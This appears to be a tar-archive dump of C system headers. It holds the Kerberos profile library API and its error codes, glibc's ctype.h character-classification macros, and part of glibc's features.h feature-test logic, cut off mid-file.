defined(__APPLE__) # include <TargetConditionals.h> # if TARGET_RT_MAC_CFM # error "Use KfM 4.0 SDK headers for CFM compilation." # endif #endif #ifndef KRB5_CALLCONV #define KRB5_CALLCONV #define KRB5_CALLCONV_C #endif typedef struct _profile_t *profile_t; /* Used by profile_init_flags(). */ #define PROFILE_INIT_ALLOW_MODULE 0x0001 /* Allow module declaration */ /* * Used by the profile iterator in prof_get.c */ #define PROFILE_ITER_LIST_SECTION 0x0001 #define PROFILE_ITER_SECTIONS_ONLY 0x0002 #define PROFILE_ITER_RELATIONS_ONLY 0x0004 #ifdef __cplusplus extern "C" { #endif /* __cplusplus */ typedef char* profile_filespec_t; /* path as C string */ typedef char* profile_filespec_list_t; /* list of : separated paths, C string */ typedef const char * const_profile_filespec_t; /* path as C string */ typedef const char * const_profile_filespec_list_t; /* list of : separated paths, C string */ long KRB5_CALLCONV profile_init (const_profile_filespec_t *files, profile_t *ret_profile); long KRB5_CALLCONV profile_init_flags (const_profile_filespec_t *files, int flags, profile_t *ret_profile); long KRB5_CALLCONV profile_init_path (const_profile_filespec_list_t filelist, profile_t *ret_profile); long KRB5_CALLCONV profile_flush (profile_t profile); long KRB5_CALLCONV profile_flush_to_file (profile_t profile, const_profile_filespec_t outfile); long KRB5_CALLCONV profile_flush_to_buffer (profile_t profile, char **bufp); void KRB5_CALLCONV profile_free_buffer (profile_t profile, char *buf); long KRB5_CALLCONV profile_is_writable (profile_t profile, int *writable); long KRB5_CALLCONV profile_is_modified (profile_t profile, int *modified); void KRB5_CALLCONV profile_abandon (profile_t profile); void KRB5_CALLCONV profile_release (profile_t profile); long KRB5_CALLCONV profile_get_values (profile_t profile, const char *const *names, char ***ret_values); void KRB5_CALLCONV profile_free_list (char **list); long KRB5_CALLCONV profile_get_string (profile_t profile, const char *name, const char *subname, const char *subsubname, const char *def_val, char **ret_string); long KRB5_CALLCONV profile_get_integer (profile_t profile, const char *name, const char *subname, const char *subsubname, int def_val, int *ret_default); long KRB5_CALLCONV profile_get_boolean (profile_t profile, const char *name, const char *subname, const char *subsubname, int def_val, int *ret_default); long KRB5_CALLCONV profile_get_relation_names (profile_t profile, const char **names, char ***ret_names); long KRB5_CALLCONV profile_get_subsection_names (profile_t profile, const char **names, char ***ret_names); long KRB5_CALLCONV profile_iterator_create (profile_t profile, const char *const *names, int flags, void **ret_iter); void KRB5_CALLCONV profile_iterator_free (void **iter_p); long KRB5_CALLCONV profile_iterator (void **iter_p, char **ret_name, char **ret_value); void KRB5_CALLCONV profile_release_string (char *str); long KRB5_CALLCONV profile_update_relation (profile_t profile, const char **names, const char *old_value, const char *new_value); long KRB5_CALLCONV profile_clear_relation (profile_t profile, const char **names); long KRB5_CALLCONV profile_rename_section (profile_t profile, const char **names, const char *new_name); long KRB5_CALLCONV profile_add_relation (profile_t profile, const char **names, const char *new_value); /* * profile_init_vtable allows a caller to create a profile-compatible object * with a different back end. */ /* * Mandatory: Look up all of the relations for names, placing the resulting * values in *ret_values. If no relations exist, return PROF_NO_RELATION, or * PROF_NO_SECTION to indicate that one of the intermediate names does not * exist as a section. The list will be freed with free_values. */ typedef long (*profile_get_values_fn)(void *cbdata, const char *const *names, char ***ret_values); /* Mandatory: Free a list of strings returned by get_values. */ typedef void (*profile_free_values_fn)(void *cbdata, char **values); /* Optional: Release any data associated with the profile. */ typedef void (*profile_cleanup_fn)(void *cbdata); /* * Optional (mandatory if cleanup is defined): Generate a new cbdata pointer * for a copy of the profile. If not implemented, the new profile will receive * the same cbdata pointer as the old one. */ typedef long (*profile_copy_fn)(void *cbdata, void **ret_cbdata); /* * Optional: Create an iterator handle. * * If flags contains PROFILE_ITER_LIST_SECTION, iterate over all of the * relations and sections within names. Otherwise, iterate over the relation * values for names, or produce a single section result if names is a section. * * If flags contains PROFILE_ITER_SECTIONS_ONLY, produce only sections. * * If flags contains PROFILE_ITER_RELATIONS_ONLY, produce only relations. */ typedef long (*profile_iterator_create_fn)(void *cbdata, const char *const *names, int flags, void **ret_iter); /* * Optional (mandatory if iterator_create is defined): Produce the next * relation or section in an iteration. If producing a section result, set * *ret_value to NULL. The returned strings will be freed with free_string. */ typedef long (*profile_iterator_fn)(void *cbdata, void *iter, char **ret_name, char **ret_value); /* * Optional (mandatory if iterator_create is defined): Free the memory for an * iterator. */ typedef void (*profile_iterator_free_fn)(void *cbdata, void *iter); /* Optional (mandatory if iterator is defined): Free a string value. */ typedef void (*profile_free_string_fn)(void *cbdata, char *string); /* * Optional: Determine if a profile is writable. If not implemented, the * profile is never writable. */ typedef long (*profile_writable_fn)(void *cbdata, int *writable); /* * Optional: Determine if a profile is modified in memory relative to the * persistent store. If not implemented, the profile is assumed to never be * modified. */ typedef long (*profile_modified_fn)(void *cbdata, int *modified); /* * Optional: Change the value of a relation, or remove it if new_value is NULL. * If old_value is set and the relation does not have that value, return * PROF_NO_RELATION. */ typedef long (*profile_update_relation_fn)(void *cbdata, const char **names, const char *old_value, const char *new_value); /* * Optional: Rename a section to new_name, or remove the section if new_name is * NULL. */ typedef long (*profile_rename_section_fn)(void *cbdata, const char **names, const char *new_name); /* * Optional: Add a new relation, or a new section if new_value is NULL. Add * any intermediate sections as necessary. */ typedef long (*profile_add_relation_fn)(void *cbdata, const char **names, const char *new_value); /* * Optional: Flush any pending memory updates to the persistent store. If * implemented, this function will be called by profile_release as well as * profile_flush, so make sure it's not inefficient to flush an unmodified * profile. */ typedef long (*profile_flush_fn)(void *cbdata); struct profile_vtable { int minor_ver; /* Set to structure minor version (currently 1) * if calling profile_init_vtable. */ /* Methods needed for a basic read-only non-iterable profile (cleanup is * optional). */ profile_get_values_fn get_values; profile_free_values_fn free_values; profile_cleanup_fn cleanup; profile_copy_fn copy; /* Methods for iterable profiles. */ profile_iterator_create_fn iterator_create; profile_iterator_fn iterator; profile_iterator_free_fn iterator_free; profile_free_string_fn free_string; /* Methods for writable profiles. */ profile_writable_fn writable; profile_modified_fn modified; profile_update_relation_fn update_relation; profile_rename_section_fn rename_section; profile_add_relation_fn add_relation; profile_flush_fn flush; /* End of minor version 1. */ }; /* * Create a profile object whose operations will be performed using the * function pointers in vtable. cbdata will be supplied to each vtable * function as the first argument. */ long KRB5_CALLCONV profile_init_vtable (struct profile_vtable *vtable, void *cbdata, profile_t *ret_profile); /* * Dynamically loadable profile modules should define a function named * "profile_module_init" matching the following signature. The function should * initialize the methods of the provided vtable structure, stopping at the * field corresponding to vtable->minor_ver. Do not change the value of * vtable->minor_ver. Unimplemented methods can be left uninitialized. The * function should supply a callback data pointer in *cb_ret; this pointer can * be cleaned up via the vtable cleanup method. */ typedef long (*profile_module_init_fn)(const char *residual, struct profile_vtable *vtable, void **cb_ret); #ifdef __cplusplus } #endif /* __cplusplus */ #endif /* _KRB5_PROFILE_H */ /* * et-h-prof_err.h: * This file is automatically generated; please do not edit it. */ #include <et/com_err.h> #define PROF_VERSION (-1429577728L) #define PROF_MAGIC_NODE (-1429577727L) #define PROF_NO_SECTION (-1429577726L) #define PROF_NO_RELATION (-1429577725L) #define PROF_ADD_NOT_SECTION (-1429577724L) #define PROF_SECTION_WITH_VALUE (-1429577723L) #define PROF_BAD_LINK_LIST (-1429577722L) #define PROF_BAD_GROUP_LVL (-1429577721L) #define PROF_BAD_PARENT_PTR (-1429577720L) #define PROF_MAGIC_ITERATOR (-1429577719L) #define PROF_SET_SECTION_VALUE (-1429577718L) #define PROF_EINVAL (-1429577717L) #define PROF_READ_ONLY (-1429577716L) #define PROF_SECTION_NOTOP (-1429577715L) #define PROF_SECTION_SYNTAX (-1429577714L) #define PROF_RELATION_SYNTAX (-1429577713L) #define PROF_EXTRA_CBRACE (-1429577712L) #define PROF_MISSING_OBRACE (-1429577711L) #define PROF_MAGIC_PROFILE (-1429577710L) #define PROF_MAGIC_SECTION (-1429577709L) #define PROF_TOPSECTION_ITER_NOSUPP (-1429577708L) #define PROF_INVALID_SECTION (-1429577707L) #define PROF_END_OF_SECTIONS (-1429577706L) #define PROF_BAD_NAMESET (-1429577705L) #define PROF_NO_PROFILE (-1429577704L) #define PROF_MAGIC_FILE (-1429577703L) #define PROF_FAIL_OPEN (-1429577702L) #define PROF_EXISTS (-1429577701L) #define PROF_BAD_BOOLEAN (-1429577700L) #define PROF_BAD_INTEGER (-1429577699L) #define PROF_MAGIC_FILE_DATA (-1429577698L) #define PROF_FAIL_INCLUDE_FILE (-1429577697L) #define PROF_FAIL_INCLUDE_DIR (-1429577696L) #define PROF_UNSUPPORTED (-1429577695L) #define PROF_MAGIC_NODE_ITERATOR (-1429577694L) #define PROF_MODULE (-1429577693L) #define PROF_MODULE_SYNTAX (-1429577692L) #define PROF_MODULE_INVALID (-1429577691L) extern const struct error_table et_prof_error_table; extern void initialize_prof_error_table(void); /* For compatibility with Heimdal */ extern void initialize_prof_error_table_r(struct et_list **list); #define ERROR_TABLE_BASE_prof (-1429577728L) /* for compatibility with older versions... */ #define init_prof_err_tbl initialize_prof_error_table #define prof_err_base ERROR_TABLE_BASE_prof ctype.h 0000644 00000025323 15246445047 0006061 0 ustar 00 /* Copyright (C) 1991-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ /* * ISO C99 Standard 7.4: Character handling <ctype.h> */ #ifndef _CTYPE_H #define _CTYPE_H 1 #include <features.h> #include <bits/types.h> __BEGIN_DECLS #ifndef _ISbit /* These are all the characteristics of characters. If there get to be more than 16 distinct characteristics, many things must be changed that use `unsigned short int's. The characteristics are stored always in network byte order (big endian). We define the bit value interpretations here dependent on the machine's byte order. */ # include <endian.h> # if __BYTE_ORDER == __BIG_ENDIAN # define _ISbit(bit) (1 << (bit)) # else /* __BYTE_ORDER == __LITTLE_ENDIAN */ # define _ISbit(bit) ((bit) < 8 ? ((1 << (bit)) << 8) : ((1 << (bit)) >> 8)) # endif enum { _ISupper = _ISbit (0), /* UPPERCASE. */ _ISlower = _ISbit (1), /* lowercase. */ _ISalpha = _ISbit (2), /* Alphabetic. */ _ISdigit = _ISbit (3), /* Numeric. */ _ISxdigit = _ISbit (4), /* Hexadecimal numeric. */ _ISspace = _ISbit (5), /* Whitespace. */ _ISprint = _ISbit (6), /* Printing. */ _ISgraph = _ISbit (7), /* Graphical. */ _ISblank = _ISbit (8), /* Blank (usually SPC and TAB). */ _IScntrl = _ISbit (9), /* Control character. */ _ISpunct = _ISbit (10), /* Punctuation. */ _ISalnum = _ISbit (11) /* Alphanumeric. */ }; #endif /* ! _ISbit */ /* These are defined in ctype-info.c. The declarations here must match those in localeinfo.h. In the thread-specific locale model (see `uselocale' in <locale.h>) we cannot use global variables for these as was done in the past. Instead, the following accessor functions return the address of each variable, which is local to the current thread if multithreaded. These point into arrays of 384, so they can be indexed by any `unsigned char' value [0,255]; by EOF (-1); or by any `signed char' value [-128,-1). ISO C requires that the ctype functions work for `unsigned char' values and for EOF; we also support negative `signed char' values for broken old programs. The case conversion arrays are of `int's rather than `unsigned char's because tolower (EOF) must be EOF, which doesn't fit into an `unsigned char'. But today more important is that the arrays are also used for multi-byte character sets. */ extern const unsigned short int **__ctype_b_loc (void) __THROW __attribute__ ((__const__)); extern const __int32_t **__ctype_tolower_loc (void) __THROW __attribute__ ((__const__)); extern const __int32_t **__ctype_toupper_loc (void) __THROW __attribute__ ((__const__)); #ifndef __cplusplus # define __isctype(c, type) \ ((*__ctype_b_loc ())[(int) (c)] & (unsigned short int) type) #elif defined __USE_EXTERN_INLINES # define __isctype_f(type) \ __extern_inline int \ is##type (int __c) __THROW \ { \ return (*__ctype_b_loc ())[(int) (__c)] & (unsigned short int) _IS##type; \ } #endif #define __isascii(c) (((c) & ~0x7f) == 0) /* If C is a 7 bit value. */ #define __toascii(c) ((c) & 0x7f) /* Mask off high bits. */ #define __exctype(name) extern int name (int) __THROW /* The following names are all functions: int isCHARACTERISTIC(int c); which return nonzero iff C has CHARACTERISTIC. For the meaning of the characteristic names, see the `enum' above. */ __exctype (isalnum); __exctype (isalpha); __exctype (iscntrl); __exctype (isdigit); __exctype (islower); __exctype (isgraph); __exctype (isprint); __exctype (ispunct); __exctype (isspace); __exctype (isupper); __exctype (isxdigit); /* Return the lowercase version of C. */ extern int tolower (int __c) __THROW; /* Return the uppercase version of C. */ extern int toupper (int __c) __THROW; /* ISO C99 introduced one new function. */ #ifdef __USE_ISOC99 __exctype (isblank); #endif #ifdef __USE_GNU /* Test C for a set of character classes according to MASK. */ extern int isctype (int __c, int __mask) __THROW; #endif #if defined __USE_MISC || defined __USE_XOPEN /* Return nonzero iff C is in the ASCII set (i.e., is no more than 7 bits wide). */ extern int isascii (int __c) __THROW; /* Return the part of C that is in the ASCII set (i.e., the low-order 7 bits of C). */ extern int toascii (int __c) __THROW; /* These are the same as `toupper' and `tolower' except that they do not check the argument for being in the range of a `char'. */ __exctype (_toupper); __exctype (_tolower); #endif /* Use X/Open or use misc. */ /* This code is needed for the optimized mapping functions. */ #define __tobody(c, f, a, args) \ (__extension__ \ ({ int __res; \ if (sizeof (c) > 1) \ { \ if (__builtin_constant_p (c)) \ { \ int __c = (c); \ __res = __c < -128 || __c > 255 ? __c : (a)[__c]; \ } \ else \ __res = f args; \ } \ else \ __res = (a)[(int) (c)]; \ __res; })) #if !defined __NO_CTYPE # ifdef __isctype_f __isctype_f (alnum) __isctype_f (alpha) __isctype_f (cntrl) __isctype_f (digit) __isctype_f (lower) __isctype_f (graph) __isctype_f (print) __isctype_f (punct) __isctype_f (space) __isctype_f (upper) __isctype_f (xdigit) # ifdef __USE_ISOC99 __isctype_f (blank) # endif # elif defined __isctype # define isalnum(c) __isctype((c), _ISalnum) # define isalpha(c) __isctype((c), _ISalpha) # define iscntrl(c) __isctype((c), _IScntrl) # define isdigit(c) __isctype((c), _ISdigit) # define islower(c) __isctype((c), _ISlower) # define isgraph(c) __isctype((c), _ISgraph) # define isprint(c) __isctype((c), _ISprint) # define ispunct(c) __isctype((c), _ISpunct) # define isspace(c) __isctype((c), _ISspace) # define isupper(c) __isctype((c), _ISupper) # define isxdigit(c) __isctype((c), _ISxdigit) # ifdef __USE_ISOC99 # define isblank(c) __isctype((c), _ISblank) # endif # endif # ifdef __USE_EXTERN_INLINES __extern_inline int __NTH (tolower (int __c)) { return __c >= -128 && __c < 256 ? (*__ctype_tolower_loc ())[__c] : __c; } __extern_inline int __NTH (toupper (int __c)) { return __c >= -128 && __c < 256 ? (*__ctype_toupper_loc ())[__c] : __c; } # endif # if __GNUC__ >= 2 && defined __OPTIMIZE__ && !defined __cplusplus # define tolower(c) __tobody (c, tolower, *__ctype_tolower_loc (), (c)) # define toupper(c) __tobody (c, toupper, *__ctype_toupper_loc (), (c)) # endif /* Optimizing gcc */ # if defined __USE_MISC || defined __USE_XOPEN # define isascii(c) __isascii (c) # define toascii(c) __toascii (c) # define _tolower(c) ((int) (*__ctype_tolower_loc ())[(int) (c)]) # define _toupper(c) ((int) (*__ctype_toupper_loc ())[(int) (c)]) # endif #endif /* Not __NO_CTYPE. */ #ifdef __USE_XOPEN2K8 /* POSIX.1-2008 extended locale interface (see locale.h). */ # include <bits/types/locale_t.h> /* These definitions are similar to the ones above but all functions take as an argument a handle for the locale which shall be used. */ # define __isctype_l(c, type, locale) \ ((locale)->__ctype_b[(int) (c)] & (unsigned short int) type) # define __exctype_l(name) \ extern int name (int, locale_t) __THROW /* The following names are all functions: int isCHARACTERISTIC(int c, locale_t *locale); which return nonzero iff C has CHARACTERISTIC. For the meaning of the characteristic names, see the `enum' above. */ __exctype_l (isalnum_l); __exctype_l (isalpha_l); __exctype_l (iscntrl_l); __exctype_l (isdigit_l); __exctype_l (islower_l); __exctype_l (isgraph_l); __exctype_l (isprint_l); __exctype_l (ispunct_l); __exctype_l (isspace_l); __exctype_l (isupper_l); __exctype_l (isxdigit_l); __exctype_l (isblank_l); /* Return the lowercase version of C in locale L. */ extern int __tolower_l (int __c, locale_t __l) __THROW; extern int tolower_l (int __c, locale_t __l) __THROW; /* Return the uppercase version of C. */ extern int __toupper_l (int __c, locale_t __l) __THROW; extern int toupper_l (int __c, locale_t __l) __THROW; # if __GNUC__ >= 2 && defined __OPTIMIZE__ && !defined __cplusplus # define __tolower_l(c, locale) \ __tobody (c, __tolower_l, (locale)->__ctype_tolower, (c, locale)) # define __toupper_l(c, locale) \ __tobody (c, __toupper_l, (locale)->__ctype_toupper, (c, locale)) # define tolower_l(c, locale) __tolower_l ((c), (locale)) # define toupper_l(c, locale) __toupper_l ((c), (locale)) # endif /* Optimizing gcc */ # ifndef __NO_CTYPE # define __isalnum_l(c,l) __isctype_l((c), _ISalnum, (l)) # define __isalpha_l(c,l) __isctype_l((c), _ISalpha, (l)) # define __iscntrl_l(c,l) __isctype_l((c), _IScntrl, (l)) # define __isdigit_l(c,l) __isctype_l((c), _ISdigit, (l)) # define __islower_l(c,l) __isctype_l((c), _ISlower, (l)) # define __isgraph_l(c,l) __isctype_l((c), _ISgraph, (l)) # define __isprint_l(c,l) __isctype_l((c), _ISprint, (l)) # define __ispunct_l(c,l) __isctype_l((c), _ISpunct, (l)) # define __isspace_l(c,l) __isctype_l((c), _ISspace, (l)) # define __isupper_l(c,l) __isctype_l((c), _ISupper, (l)) # define __isxdigit_l(c,l) __isctype_l((c), _ISxdigit, (l)) # define __isblank_l(c,l) __isctype_l((c), _ISblank, (l)) # ifdef __USE_MISC # define __isascii_l(c,l) ((l), __isascii (c)) # define __toascii_l(c,l) ((l), __toascii (c)) # endif # define isalnum_l(c,l) __isalnum_l ((c), (l)) # define isalpha_l(c,l) __isalpha_l ((c), (l)) # define iscntrl_l(c,l) __iscntrl_l ((c), (l)) # define isdigit_l(c,l) __isdigit_l ((c), (l)) # define islower_l(c,l) __islower_l ((c), (l)) # define isgraph_l(c,l) __isgraph_l ((c), (l)) # define isprint_l(c,l) __isprint_l ((c), (l)) # define ispunct_l(c,l) __ispunct_l ((c), (l)) # define isspace_l(c,l) __isspace_l ((c), (l)) # define isupper_l(c,l) __isupper_l ((c), (l)) # define isxdigit_l(c,l) __isxdigit_l ((c), (l)) # define isblank_l(c,l) __isblank_l ((c), (l)) # ifdef __USE_MISC # define isascii_l(c,l) __isascii_l ((c), (l)) # define toascii_l(c,l) __toascii_l ((c), (l)) # endif # endif /* Not __NO_CTYPE. */ #endif /* Use POSIX 2008. */ __END_DECLS #endif /* ctype.h */ features.h 0000644 00000037276 15246445047 0006565 0 ustar 00 /* Copyright (C) 1991-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _FEATURES_H #define _FEATURES_H 1 /* These are defined by the user (or the compiler) to specify the desired environment: __STRICT_ANSI__ ISO Standard C. _ISOC99_SOURCE Extensions to ISO C89 from ISO C99. _ISOC11_SOURCE Extensions to ISO C99 from ISO C11. __STDC_WANT_LIB_EXT2__ Extensions to ISO C99 from TR 27431-2:2010. __STDC_WANT_IEC_60559_BFP_EXT__ Extensions to ISO C11 from TS 18661-1:2014. __STDC_WANT_IEC_60559_FUNCS_EXT__ Extensions to ISO C11 from TS 18661-4:2015. __STDC_WANT_IEC_60559_TYPES_EXT__ Extensions to ISO C11 from TS 18661-3:2015. _POSIX_SOURCE IEEE Std 1003.1. _POSIX_C_SOURCE If ==1, like _POSIX_SOURCE; if >=2 add IEEE Std 1003.2; if >=199309L, add IEEE Std 1003.1b-1993; if >=199506L, add IEEE Std 1003.1c-1995; if >=200112L, all of IEEE 1003.1-2004 if >=200809L, all of IEEE 1003.1-2008 _XOPEN_SOURCE Includes POSIX and XPG things. Set to 500 if Single Unix conformance is wanted, to 600 for the sixth revision, to 700 for the seventh revision. _XOPEN_SOURCE_EXTENDED XPG things and X/Open Unix extensions. _LARGEFILE_SOURCE Some more functions for correct standard I/O. _LARGEFILE64_SOURCE Additional functionality from LFS for large files. _FILE_OFFSET_BITS=N Select default filesystem interface. _ATFILE_SOURCE Additional *at interfaces. _GNU_SOURCE All of the above, plus GNU extensions. _DEFAULT_SOURCE The default set of features (taking precedence over __STRICT_ANSI__). _FORTIFY_SOURCE Add security hardening to many library functions. Set to 1 or 2; 2 performs stricter checks than 1. _REENTRANT, _THREAD_SAFE Obsolete; equivalent to _POSIX_C_SOURCE=199506L. The `-ansi' switch to the GNU C compiler, and standards conformance options such as `-std=c99', define __STRICT_ANSI__. If none of these are defined, or if _DEFAULT_SOURCE is defined, the default is to have _POSIX_SOURCE set to one and _POSIX_C_SOURCE set to 200809L, as well as enabling miscellaneous functions from BSD and SVID. If more than one of these are defined, they accumulate. For example __STRICT_ANSI__, _POSIX_SOURCE and _POSIX_C_SOURCE together give you ISO C, 1003.1, and 1003.2, but nothing else. These are defined by this file and are used by the header files to decide what to declare or define: __GLIBC_USE (F) Define things from feature set F. This is defined to 1 or 0; the subsequent macros are either defined or undefined, and those tests should be moved to __GLIBC_USE. __USE_ISOC11 Define ISO C11 things. __USE_ISOC99 Define ISO C99 things. __USE_ISOC95 Define ISO C90 AMD1 (C95) things. __USE_ISOCXX11 Define ISO C++11 things. __USE_POSIX Define IEEE Std 1003.1 things. __USE_POSIX2 Define IEEE Std 1003.2 things. __USE_POSIX199309 Define IEEE Std 1003.1, and .1b things. __USE_POSIX199506 Define IEEE Std 1003.1, .1b, .1c and .1i things. __USE_XOPEN Define XPG things. __USE_XOPEN_EXTENDED Define X/Open Unix things. __USE_UNIX98 Define Single Unix V2 things. __USE_XOPEN2K Define XPG6 things. __USE_XOPEN2KXSI Define XPG6 XSI things. __USE_XOPEN2K8 Define XPG7 things. __USE_XOPEN2K8XSI Define XPG7 XSI things. __USE_LARGEFILE Define correct standard I/O things. __USE_LARGEFILE64 Define LFS things with separate names. __USE_FILE_OFFSET64 Define 64bit interface as default. __USE_MISC Define things from 4.3BSD or System V Unix. __USE_ATFILE Define *at interfaces and AT_* constants for them. __USE_GNU Define GNU extensions. __USE_FORTIFY_LEVEL Additional security measures used, according to level. The macros `__GNU_LIBRARY__', `__GLIBC__', and `__GLIBC_MINOR__' are defined by this file unconditionally. `__GNU_LIBRARY__' is provided only for compatibility. All new code should use the other symbols to test for features. All macros listed above as possibly being defined by this file are explicitly undefined if they are not explicitly defined. Feature-test macros that are not defined by the user or compiler but are implied by the other feature-test macros defined (or by the lack of any definitions) are defined by the file. ISO C feature test macros depend on the definition of the macro when an affected header is included, not when the first system header is included, and so they are handled in <bits/libc-header-start.h>, which does not have a multiple include guard. Feature test macros that can be handled from the first system header included are handled here. */ /* Undefine everything, so we get a clean slate. */ #undef __USE_ISOC11 #undef __USE_ISOC99 #undef __USE_ISOC95 #undef __USE_ISOCXX11 #undef __USE_POSIX #undef __USE_POSIX2 #undef __USE_POSIX199309 #undef __USE_POSIX199506 #undef __USE_XOPEN #undef __USE_XOPEN_EXTENDED #undef __USE_UNIX98 #undef __USE_XOPEN2K #undef __USE_XOPEN2KXSI #undef __USE_XOPEN2K8 #undef __USE_XOPEN2K8XSI #undef __USE_LARGEFILE #undef __USE_LARGEFILE64 #undef __USE_FILE_OFFSET64 #undef __USE_MISC #undef __USE_ATFILE #undef __USE_GNU #undef __USE_FORTIFY_LEVEL #undef __KERNEL_STRICT_NAMES #undef __GLIBC_USE_DEPRECATED_GETS /* Suppress kernel-name space pollution unless user expressedly asks for it. */ #ifndef _LOOSE_KERNEL_NAMES # define __KERNEL_STRICT_NAMES #endif /* Convenience macro to test the version of gcc. Use like this: #if __GNUC_PREREQ (2,8) ... code requiring gcc 2.8 or later ... #endif Note: only works for GCC 2.0 and later, because __GNUC_MINOR__ was added in 2.0. */ #if defined __GNUC__ && defined __GNUC_MINOR__ # define __GNUC_PREREQ(maj, min) \ ((__GNUC__ << 16) + __GNUC_MINOR__ >= ((maj) << 16) + (min)) #else # define __GNUC_PREREQ(maj, min) 0 #endif /* Similarly for clang. Features added to GCC after version 4.2 may or may not also be available in clang, and clang's definitions of __GNUC(_MINOR)__ are fixed at 4 and 2 respectively. Not all such features can be queried via __has_extension/__has_feature. */ #if defined __clang_major__ && defined __clang_minor__ # define __glibc_clang_prereq(maj, min) \ ((__clang_major__ << 16) + __clang_minor__ >= ((maj) << 16) + (min)) #else # define __glibc_clang_prereq(maj, min) 0 #endif /* Whether to use feature set F. */ #define __GLIBC_USE(F) __GLIBC_USE_ ## F /* _BSD_SOURCE and _SVID_SOURCE are deprecated aliases for _DEFAULT_SOURCE. If _DEFAULT_SOURCE is present we do not issue a warning; the expectation is that the source is being transitioned to use the new macro. */ #if (defined _BSD_SOURCE || defined _SVID_SOURCE) \ && !defined _DEFAULT_SOURCE # warning "_BSD_SOURCE and _SVID_SOURCE are deprecated, use _DEFAULT_SOURCE" # undef _DEFAULT_SOURCE # define _DEFAULT_SOURCE 1 #endif /* If _GNU_SOURCE was defined by the user, turn on all the other features. */ #ifdef _GNU_SOURCE # undef _ISOC95_SOURCE # define _ISOC95_SOURCE 1 # undef _ISOC99_SOURCE # define _ISOC99_SOURCE 1 # undef _ISOC11_SOURCE # define _ISOC11_SOURCE 1 # undef _POSIX_SOURCE # define _POSIX_SOURCE 1 # undef _POSIX_C_SOURCE # define _POSIX_C_SOURCE 200809L # undef _XOPEN_SOURCE # define _XOPEN_SOURCE 700 # undef _XOPEN_SOURCE_EXTENDED # define _XOPEN_SOURCE_EXTENDED 1 # undef _LARGEFILE64_SOURCE # define _LARGEFILE64_SOURCE 1 # undef _DEFAULT_SOURCE # define _DEFAULT_SOURCE 1 # undef _ATFILE_SOURCE # define _ATFILE_SOURCE 1 #endif /* If nothing (other than _GNU_SOURCE and _DEFAULT_SOURCE) is defined, define _DEFAULT_SOURCE. */ #if (defined _DEFAULT_SOURCE \ || (!defined __STRICT_ANSI__ \ && !defined _ISOC99_SOURCE && !defined _ISOC11_SOURCE \ && !defined _POSIX_SOURCE && !defined _POSIX_C_SOURCE \ && !defined _XOPEN_SOURCE)) # undef _DEFAULT_SOURCE # define _DEFAULT_SOURCE 1 #endif /* This is to enable the ISO C11 extension. */ #if (defined _ISOC11_SOURCE \ || (defined __STDC_VERSION__ && __STDC_VERSION__ >= 201112L)) # define __USE_ISOC11 1 #endif /* This is to enable the ISO C99 extension. */ #if (defined _ISOC99_SOURCE || defined _ISOC11_SOURCE \ || (defined __STDC_VERSION__ && __STDC_VERSION__ >= 199901L)) # define __USE_ISOC99 1 #endif /* This is to enable the ISO C90 Amendment 1:1995 extension. */ #if (defined _ISOC99_SOURCE || defined _ISOC11_SOURCE \ || (defined __STDC_VERSION__ && __STDC_VERSION__ >= 199409L)) # define __USE_ISOC95 1 #endif #ifdef __cplusplus /* This is to enable compatibility for ISO C++17. */ # if __cplusplus >= 201703L # define __USE_ISOC11 1 # endif /* This is to enable compatibility for ISO C++11. Check the temporary macro for now, too. */ # if __cplusplus >= 201103L || defined __GXX_EXPERIMENTAL_CXX0X__ # define __USE_ISOCXX11 1 # define __USE_ISOC99 1 # endif #endif /* If none of the ANSI/POSIX macros are defined, or if _DEFAULT_SOURCE is defined, use POSIX.1-2008 (or another version depending on _XOPEN_SOURCE). */ #ifdef _DEFAULT_SOURCE # if !defined _POSIX_SOURCE && !defined _POSIX_C_SOURCE # define __USE_POSIX_IMPLICITLY 1 # endif # undef _POSIX_SOURCE # define _POSIX_SOURCE 1 # undef _POSIX_C_SOURCE # define _POSIX_C_SOURCE 200809L #endif #if ((!defined __STRICT_ANSI__ \ || (defined _XOPEN_SOURCE && (_XOPEN_SOURCE - 0) >= 500)) \ && !defined _POSIX_SOURCE && !defined _POSIX_C_SOURCE) # define _POSIX_SOURCE 1 # if defined _XOPEN_SOURCE && (_XOPEN_SOURCE - 0) < 500 # define _POSIX_C_SOURCE 2 # elif defined _XOPEN_SOURCE && (_XOPEN_SOURCE - 0) < 600 # define _POSIX_C_SOURCE 199506L # elif defined _XOPEN_SOURCE && (_XOPEN_SOURCE - 0) < 700 # define _POSIX_C_SOURCE 200112L # else # define _POSIX_C_SOURCE 200809L # endif # define __USE_POSIX_IMPLICITLY 1 #endif /* Some C libraries once required _REENTRANT and/or _THREAD_SAFE to be defined in all multithreaded code. GNU libc has not required this for many years. We now treat them as compatibility synonyms for _POSIX_C_SOURCE=199506L, which is the earliest level of POSIX with comprehensive support for multithreaded code. Using them never lowers the selected level of POSIX conformance, only raises it. */ #if ((!defined _POSIX_C_SOURCE || (_POSIX_C_SOURCE - 0) < 199506L) \ && (defined _REENTRANT || defined _THREAD_SAFE)) # define _POSIX_SOURCE 1 # undef _POSIX_C_SOURCE # define _POSIX_C_SOURCE 199506L #endif #if (defined _POSIX_SOURCE \ || (defined _POSIX_C_SOURCE && _POSIX_C_SOURCE >= 1) \ || defined _XOPEN_SOURCE) # define __USE_POSIX 1 #endif #if defined _POSIX_C_SOURCE && _POSIX_C_SOURCE >= 2 || defined _XOPEN_SOURCE # define __USE_POSIX2 1 #endif #if defined _POSIX_C_SOURCE && (_POSIX_C_SOURCE - 0) >= 199309L # define __USE_POSIX199309 1 